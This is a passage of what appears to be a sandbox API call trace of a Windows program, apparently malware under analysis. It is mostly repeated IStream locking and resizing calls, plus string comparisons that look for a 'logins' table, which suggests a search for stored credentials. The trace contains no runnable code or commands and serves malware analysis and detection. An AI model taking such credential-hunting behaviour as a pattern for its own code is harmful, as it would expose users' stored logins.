(This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc188, libOffset=0x6769, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.518] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.518] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cea58 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.518] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.518] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ce9b8 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.519] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.519] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x30d900 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30da28 [0056.519] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.519] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x30d900 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.519] IStream:LockRegion (This=0x2cc1d8, libOffset=0x10, cb=0x0, dwLockType=0x0) returned 0x0 [0056.519] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.519] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30dac0 [0056.519] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.520] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.520] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30db58 [0056.520] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.520] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.520] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x30dbf0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x15, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30dbf0) returned 0x0 [0056.520] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x30dcd0 [0056.520] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.520] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.520] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.520] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x67cf, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x67cf, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x67d0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.520] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.520] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc188, libOffset=0x67d1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.520] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.520] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cea58 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceaf8 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.521] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.521] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x2ceb98 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.521] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2ceb98) returned 0x0 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x30da28 [0056.521] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.521] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.521] LocalAlloc (uFlags=0x40, uBytes=0x84) returned 0x30d900 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.521] IStream:LockRegion (This=0x2cc1d8, libOffset=0x22, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.522] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30dad0 [0056.522] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.522] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.522] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc1d8, libOffset=0x26, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.522] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30db68 [0056.522] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.522] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.522] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.522] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.522] lstrcmpiA (lpString1="meta", lpString2="logins") returned 1 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x648a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x648a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x648b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.522] IStream:LockRegion (This=0x2cc188, libOffset=0x648c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.522] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.522] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.522] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc188, libOffset=0x648d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.523] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cea58 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.523] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceb98 [0056.523] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x2cc810 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.523] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d900 [0056.523] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.523] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.523] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x2cc810 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.523] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.523] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30d998 [0056.524] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.524] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x2cc810 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x14, cb=0x0, dwLockType=0x0) returned 0x0 [0056.524] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30da30 [0056.524] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.524] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.524] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cc810 [0056.524] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.524] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x33d) returned 0x30dac8 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.524] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.524] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30dac8) returned 0x0 [0056.524] LocalAlloc (uFlags=0x40, uBytes=0x345) returned 0x30de10 [0056.524] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.525] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.525] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.525] lstrcmpiA (lpString1="keywords", lpString2="logins") returned -1 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x637b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x637b, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x637c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x637d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.525] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.525] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc188, libOffset=0x637e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.525] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cea58 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.525] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.525] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.525] 